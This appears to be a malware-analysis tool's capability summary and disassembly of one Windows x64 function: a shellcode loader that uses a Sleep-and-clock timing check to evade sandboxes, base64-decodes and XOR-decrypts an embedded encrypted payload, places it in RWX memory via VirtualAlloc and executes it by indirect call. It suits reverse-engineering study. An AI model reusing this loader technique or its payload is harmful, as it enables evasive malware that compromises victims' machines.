Function at 0x4019b6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xde0
lea rbp, [rsp + 0x80]
call sym.__main
call sym.excess_code
mov qword [rbp + 0xd30], 0
mov qword [rbp + 0xd58], 0
lea rax, [rbp + 0x50]
lea rdx, str.UlujOVJ2qTRyx4jZV_6DjlZ2c0WGa7Pn3KypYyWQgsD4Y9viXIw1razEJKxPvGJ6s3RqvcZEby_Y_QPtWYK2yHv6KXaIm4_dDCDQhLVvqCVohBv5bpJy7lcCmyK26jWo643c7PjuKKpuhz_pn43LMX_6siQk9Pp3VZTl96732oQamFeYQY66_lcvc6vjUCklUZ01tSo_g6b5m12uRJESN2PdfEMTLmN6xByo2o643CrfVoJ7xwsfyvlPyuMan8678LWNTaZvGLK1ODzfb7dQwoVxJ7fcXc0C5lZkMl69F7a5EquEbxH_56rbSeZqhRw9XYvv3O6XWo7aDGh3C9UsW6tP6iNJzy3BDsLkTdR8st8c3hLTl96wXpnV3tWQQTCY18Sf9ABaGgCEJRFy11FduyKJY1EPVanqK_vkHBGfRhlZ2PHMiuzjtJHkpIY_RF0V93oy3BDrVmvN8FpyZDy2LzPtk6m4W2AIwTiodrH1Qe6KIHdZII1mE4sumfCgVAjrxZCJroL0dy0RRzOurjmt6KieUwR7Hbk6E1HAstoJ0O_YEVILDBvCRmcGW8EKc5lk04lrhQVM7p5bGFk7CWmwa61KbYIsAENjrALwsucMKHZg_K0Bv8AuIGQy3GI64qezQ_t6BA1UeQFKivKW7kYSm7R4IRYbCb6L5Hmahpbh61xa8EKU6gLrTojcp4IzuWHjCZskDK3wXY50u4kROvZLacswW3Pz0X3TLhAsXKUSoJHIaTkq5hC5F5fycC7f2HACYrhdv1pWK33EkZvWZwHKUTGnjCYhkzDY67y2jzvklraaj8KVlmnbT37xPzJC_kDlcZ6chCHvrTOXhYCsZihhh1ZX7CbrRlKHWgWb7uXkT6E4LDKUWLCCLNZ3rQZcTfF1j3Cc0pX4bRLHLj4s3ZJkzCW5LXFGv8Yjz3bJS0oZcylZSTpXWPMsjG2awQjr8Q36zDC6AKkmSpT7jJHfrDZhpJ37unJruL85EjuNQdCsiAl0q2QRbaFjS7TCjZsVZDGi_xvf4cjO4nTcn21dgLxo8pPtbGCXDLh9Ybra2_zNtR5aUld_1swDN70h3ZV0xzH6D4muaEAsvtHxb77qr4YwtVZ8y17dFfa4FquEJDOPnwVaEJcI27YxEV8MfoX8idp2SWCPzpfGYpnImN79XBjqfCj1v6D88o3hLSNDGo_V_TEJZpjGcfFhkCMPboj6cGNLSjjjj
mov ecx, 0x9b
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x7372504f4e383769
movabs rdx, 0x64307a7942555474
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x58436a3967416665
movabs rdx, 0x32564c4b4a636261
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x6c6b5a5978777675
movabs rdx, 0x6e6d57353433684d
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x494847464544706f
movabs rdx, 0x715352512f2b3631
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov byte [rbp + 0x40], 0
movabs rax, 0x4133283061727153
movabs rdx, 0x3631493769684d65
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x436a292a52512f2b
movabs rdx, 0x2139374a63626158
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x264272504f396741
movabs rdx, 0x5735344847464544
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x78777675706f6e6d
movabs rdx, 0x555474736c6b5a59
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x666564307a794255
movabs rdx, 0x4e383332564c4b
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rdx
mov dword [rbp + 0xd4c], 0x32dcd5
mov dword [rbp + 0xd48], 0x5f5e0ff
call sym.clock
mov dword [rbp + 0xd44], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0xd40], eax
mov eax, dword [rbp + 0xd40]
sub eax, dword [rbp + 0xd44]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x0040a540]
divsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rbp + 0xd3c], eax
mov eax, dword [rbp + 0xd4c]
add eax, 2
sub eax, dword [rbp + 0xd3c]
mov dword [rbp + 0xd4c], eax
mov eax, dword [rbp + 0xd48]
add eax, 2
sub eax, dword [rbp + 0xd3c]
mov dword [rbp + 0xd48], eax
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.strlen
sub eax, 1
mov dword [rbp + 0xd38], eax
mov r9, rbp
mov r8d, dword [rbp + 0xd38]
lea rdx, [rbp + 0xd30]
lea rax, [rbp + 0x50]
mov ecx, dword [rbp + 0xd4c]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call sym.base64_decode
mov eax, dword [rbp + 0xd38]
lea edx, [rax + 3]
test eax, eax
cmovs eax, edx
sar eax, 2
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub eax, 1
mov dword [rbp + 0xd54], eax
jmp 0x401cfc
mov rdx, qword [rbp + 0xd30]
mov eax, dword [rbp + 0xd54]
cdqe
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x401cf5
mov dword [rbp + 0xd50], 0
jmp 0x401c37
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.adjust_first_to_last
add dword [rbp + 0xd50], 1
mov eax, dword [rbp + 0xd50]
cmp eax, dword [rbp + 0xd48]
jl 0x401c24
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x800
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xd58], rax
mov eax, dword [rbp + 0xd54]
lea r8d, [rax + 1]
mov rax, qword [rbp + 0xd30]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x530]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.xor_encrypt_decrypt
mov rax, qword [rbp + 0xd58]
mov rdx, rax
lea rax, [rbp + 0x530]
mov ecx, 0x800
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
jmp 0x401d09
sub dword [rbp + 0xd54], 1
cmp dword [rbp + 0xd54], 0
jns 0x401bfb
mov rax, qword [rbp + 0xd58]
call rax
mov rax, qword [rbp + 0xd58]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0xde0
pop rsi
pop rdi
pop rbp
ret